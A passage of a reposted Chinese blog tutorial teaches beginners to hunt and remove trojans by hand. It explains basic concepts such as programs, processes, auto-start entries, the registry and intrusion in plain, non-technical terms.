<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">电脑维修人员</span></p>
<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">微机管理人员</span></p>
<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">安全相关的程序开发人员</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">本文所要达到的目的是</span><span style="color: black; font-family: 宋体">：</span></p>
<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">让菜鸟也可以了解系统安全自己来动手查毒杀马，由求助者变为帮助它人者。</span></p>
<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">在杀毒软件无能为力的情况下，借助本文的知识让你仍然能借助工具完成清理查杀的任务。</span></p>
<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">让您真正的明白一些看似神秘的、高深莫测的专用术语与技术的内幕。</span></p>
<p style="text-indent: 17.85pt; text-align: left; tab-stops: list 42.0pt" align="left"><span style="color: black; font-family: 宋体">让您了解</span><span style="color: black; font-family: 宋体">Windows</span><span style="color: black; font-family: 宋体">系统的底层知识。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">本文以手动查杀为主，辅以必要的工具，文中用到的工具与测试用的仿木马小程序都提供了下载地址，供朋友们下载试用。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">本文作者为</span><span style="color: black; font-family: 宋体">MuseHero</span><span style="color: black; font-family: 宋体">，您可在网络上任意转载，但请注明出处、作者并保持文章的完整性，谢谢。</span></p>
<p style="text-indent: 17.9pt; text-align: left" align="left"><strong><span style="color: red; font-family: 宋体">二、木马知识扫盲篇</span></strong></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">什么是木马呢？木马只是一类程序的名字，为实现特殊目的而制作并偷偷植入目的计算机中的程序的统称。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">其名字源于古希腊神话《木马屠城记》，全名为&#8220;特洛伊木马&#8221;有兴趣的可以翻看相关资料，很不错的一篇故事。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">那什么又是程序呢？呵，即然是扫盲篇，我们就不能回避这些让人头都大的问题，先从最基本的开始，熟悉计算机的朋友们可以直接跳到第三章去。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">我们先了解一些基本的概念：</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">概念一</span><span style="color: black; font-family: 宋体">：<strong>计算机</strong>。就是我们的电脑了，指的就是一堆硬件，显示器、主机、键盘、鼠标等等，当然了，拆开主机还有一堆零碎。我们只需要了解其中几个后面会提到的就行了。</span></p>
<p style="text-indent: 17.9pt; text-align: left" align="left"><strong><span style="color: black; font-family: 宋体">CPU</span></strong><span style="color: black; font-family: 宋体">：计算机的指令处理单元。所有的工作都是由它来做的，同一个</span><span style="color: black; font-family: 宋体">CPU</span><span style="color: black; font-family: 宋体">同一时间只能处理一条指令，就是说一旦</span><span style="color: black; font-family: 宋体">CPU</span><span style="color: black; font-family: 宋体">被某一程序占用，那在同一时刻内其它程序就肯定是空闲等待状态（双核的可以同时执行两条，以此类推）。</span></p>
<p style="text-indent: 17.9pt; text-align: left" align="left"><strong><span style="color: black; font-family: 宋体">内存</span></strong><span style="color: black; font-family: 宋体">：内部存储器。</span><span style="color: black; font-family: 宋体">CPU</span><span style="color: black; font-family: 宋体">执行的指令都是由内存中读取的，所以，一个程序要运行首先要装入到内存中。</span></p>
<p style="text-indent: 17.9pt; text-align: left" align="left"><strong><span style="color: black; font-family: 宋体">磁盘</span></strong><span style="color: black; font-family: 宋体">：外部存储器。存放文件数据的地方。计算机中所有的数据平时都是存在这里的，只有在需要执行或查看时，才读取到内存中。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">但只有硬件，是不能使用的，还需要软件的配合，我们买电脑时电脑中大都安装了某一操作系统，主流的就是</span><span style="color: black; font-family: 宋体">MSWindows</span><span style="color: black; font-family: 宋体">系统了（还有其它的操作系统如</span><span style="color: black; font-family: 宋体">Linux</span><span style="color: black; font-family: 宋体">等，这里不做讨论）。这就是我们需要了解的也是以后要频繁出现的第二个概念了&#8220;系统&#8221;。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">概念二</span><span style="color: black; font-family: 宋体">：<strong>系统</strong>。系统其实在大多数情况下都指的是操作系统，也就是帮我们使用与管理硬件的软件系统，当我们按下机箱电源后，即由主板上的</span><span style="color: black; font-family: 宋体">BIOS</span><span style="color: black; font-family: 宋体">检测硬件、再交由硬盘中的引导程序启动操作系统，然后就出现了我们所熟悉的</span><span style="color: black; font-family: 宋体">Windows</span><span style="color: black; font-family: 宋体">主窗口（计算机在启动时做了些什么，我们会在后面详细的讲解），而以后我们的所有工作，看电影、听歌曲、玩游戏、上网浏览等等都是在这个窗口中进行。操作系统维持这个窗口的显示及一些常用功能的完成，而这些功能是由一系列的程序来实现的，这又引出了我们的第三个概念&#8220;程序&#8221;</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">概念三</span><span style="color: black; font-family: 宋体">：<strong>程序</strong>。程序是什么呢？程序就是一组指令执行序列。呵，有点专业了是不？什么又叫指令执行序列呢？</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">举例来说：我管理着一个工厂，正常情况下我让工人们按这样来工作&#8220;先去原料仓库取原料</span><span style="color: black; font-family: 宋体">---</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">进行初步加工</span><span style="color: black; font-family: 宋体">---</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">进行精细加工</span><span style="color: black; font-family: 宋体">--</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">进行零配件组装</span><span style="color: black; font-family: 宋体">---</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">验收</span><span style="color: black; font-family: 宋体">---</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">合格则送入成品库</span><span style="color: black; font-family: 宋体">--</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">不合格则销毁&#8221;。这就是一个指令执行序列，当情况为正常时，工人们执行的是这个序列也就是这个&#8220;程序&#8221;。而在旺销的季节呢，我还有第二个程序&#8220;取原料</span><span style="color: black; font-family: 宋体">----</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">进行初步加工</span><span style="color: black; font-family: 宋体">----</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">组装</span><span style="color: black; font-family: 宋体">----</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">进成品库&#8221;。当情况为供不应求时，我就执行第二个程序。还有第三个、第四个&#8230;&#8230;等等，在不同的情况下，我让工人们执行不同的程序。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">计算机程序也是一样的，跟据用户要求的不同，执行不同的指令序列，比如您要画图，你可能会这么操作&#8220;点击开始菜单</span><span style="color: black; font-family: 宋体">--</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">选择所有程序</span><span style="color: black; font-family: 宋体">--</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">在所有的程序中选择附件</span><span style="color: black; font-family: 宋体">--</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">再在附件中选择画图&#8221;，这就是你向操作系统下达的指令。操作系统得到您的指令后，则会执行画图程序，也就是实现画图目的的一系列指令，而这些画图的指令储存在&#8220;</span><span style="color: black; font-family: 宋体">mspaint.exe</span><span style="color: black; font-family: 宋体">&#8221;文件中。操作系统会将</span><span style="color: black; font-family: 宋体">mspaint.exe</span><span style="color: black; font-family: 宋体">中的指令装入到内存中交由</span><span style="color: black; font-family: 宋体">CPU</span><span style="color: black; font-family: 宋体">开始一条条的执行。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">总结一下：程序是什么呢？说白了就是一个计划书，里面记载了先做什么后做什么。好的程序是好的计划，坏的程序就是坏的计划，比如：&#8220;收集炸药</span><span style="color: black; font-family: 宋体">--</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">买雷管</span><span style="color: black; font-family: 宋体">--</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">制成炸弹</span><span style="color: black; font-family: 宋体">-</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">放到张三的床下面</span><span style="color: black; font-family: 宋体">-</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">引爆&#8221;，这就是一个坏计划，相对于计算机来说就是一个坏程序。坏程序有破坏作用吗？也就是说你写了个爆了张三的计划书就可以炸了张三吗？当然不可以，只有计划是不行的，还要去执行才能真正起到作用。所以，一个木马程序仅仅是存在于您的计算机中时并不可怕，可怕的是它执行起来。程序执行起来是什么呢？那就是我们要说的第四个概念&#8220;进程&#8221;</span><span style="color: black; font-family: 宋体">--</span><span style="color: black; font-family: Wingdings">&#224;</span><span style="color: black; font-family: 宋体">执行中的程序。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">概念四</span><span style="color: black; font-family: 宋体">：<strong>进程</strong>。程序一旦进入内存中开始执行，就叫做进程（进程其实就是容纳指令与资源的容器）。也就是说，他已经开始工作了，开始买炸药、制炸弹了，等执行到引爆那一条指令时，张三也就完蛋了。所以，检查可疑进程，就是查杀木马的关键环节，也是重要的手段与方法。找到木马的进程，并结束它，在它执行到引爆这条指令之前，就停止它的执行，并将它的程序自计算机中删除掉，就是我们所要达到的目的。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">说到这里，细心的读者们可能想到了一个问题，画图程序的执行，是因为我们向操作系统下达了画图的指令，所以操作系统才调入画图程序开始执行画图的指令序列。但是木马程序又是谁给操作系统下达的指令让木马的工作计划得到执行的呢？这就是我们下面要说的第五个概念&#8220;自启动程序&#8221;</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">概念五</span><span style="color: black; font-family: 宋体">：<strong>自启动程序</strong>。顾名思义，自启动程序，也就是不用您自己动手它自己就可以启动起来开始执行的程序。这是些什么程序呢？为什么要允许程序这样做呢？难道是专为木马准备的？呵，当然不是。自启动程序有二大类，一是系统需要的；二是用户需要的。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">系统需要的，是因为有些工作是无须经过用户同意，必须去做的。比如，鼠标驱动。为了能让用户使用鼠标，系统要自动加载鼠标驱动程序并执行。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">用户需要的，一些重复性工作可能用户想让系统自动去做，而不是每天每时的重复这份工作。比如：用户可以设定多长时间无操作，就自动运行屏幕保护程序以便保护屏幕不被烧坏。这显然必须要屏幕保护程序能自动的运行，用户是不可能每次手动去执行这个程序的。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">而木马就是利用了这些本来是为系统或用户提供方便的手段，来实现自动运行它们自己的目的。如：木马用自己来取代屏幕保护程序，这样，长时间无操作时，运行的就不再是屏幕保护程序而是木马了。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">在系统中有很多地方或方法是可以让程序自动运行起来的，这个我们在后面将一一讲述。而清掉自启动项，让木马程序得不到执行，显然也就成为了我们查杀木马的重要手段之一。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">而系统又是如何知道，哪一个程序应该在开机后就自动运行，无须等用户来操作呢？朋友们应该能猜到，系统肯定是把这些需要自动运行的程序都记录到了某一个地方，记录到哪里了呢？这就是我们要讲的第六个概念&#8220;注册表&#8221;</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">概念六</span><span style="color: black; font-family: 宋体">：<strong>注册表</strong>。注册表是什么呢？是系统记录信息用的一个数据库，举例来说它就像公司档案柜一样，发工资时，财务人员要查阅档案，以确定哪个员工应该发多少钱。就像系统启动时查阅注册表，确定哪个程序应该自动启动起来一样。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">这是一个非常宠大的数据中心，系统的关键信息都记录到那里，与现实中我们的档案柜一样，都很重要，一旦损坏将造成无可挽回的后果，所以微软公司不建议直接对注册表进行操作。当然了，木马的作者通常是不会理会微软的建议的。所以，木马通常都会将自己写入到注册表的某个自启动项中，以便开机时自动运行，而无须经过用户的同意。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">讲到这里，又有一个不容回避的问题出现了，上面我们说了，木马程序其实就是一个计划书，而为了执行这份计划书，木马需要把自己写到注册表中的自启动程序序列中去。而问题就是，这份计划书是如何来的呢？如果得不到执行，它又如何将自己写到注册表的自启动程序中去呢？不放到自启动程序中它就得不到执行，而得不到执行，它也就无法起到作用也包括无法将自己写到注册表中去&#8230;&#8230;晕了，这成了先有鸡还是先有蛋的问题了。那么木马是如何进入我们的计算机并获得首次执行的呢？</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">这就是我们要讲的第七个概念了&#8220;侵入&#8221;</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: blue; font-family: 宋体">概念七</span><span style="color: black; font-family: 宋体">：<strong>侵入</strong>。侵入是什么呢？也就是侵略进入喽，侵略需要被侵略者同意吗？当然不需要。将木马程序放入您的计算机，并让它得到首次执行的过程就是侵入。</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">侵入的方法有很多种，我们将在后面主动防御一章中详细讲解。因为，相信现在朋友们最关心的并不是如何不让他进来，而是&#8230;&#8230;我的电脑中现在是不是正在执行着木马程序呢？已经执行到了哪一步呢？是否马上就要引爆了呢？我关机后下次还能打开不？</span></p>
<p style="text-indent: 17.85pt; text-align: left" align="left"><span style="color: black; font-family: 宋体">好，接下来，就让我们进入下一章，一起来看看，电脑中正在执行的木马程序&#8220;木马进程&#8221;。</span></p>
<br />
--------------------------------------------------------------------------------------------------------------------------------<br />
本文转自于狙剑作者的blog----<a href="http://musehero.blog.tianya.cn/?idWriter=0&amp;Key=0">MuseHero.blog.tianya.cn</a>
<img src ="http://www.blogjava.net/viking/aggbug/211344.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/viking/" target="_blank">viking</a> 2008-06-28 17:50 <a href="http://www.blogjava.net/viking/archive/2008/06/28/211344.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>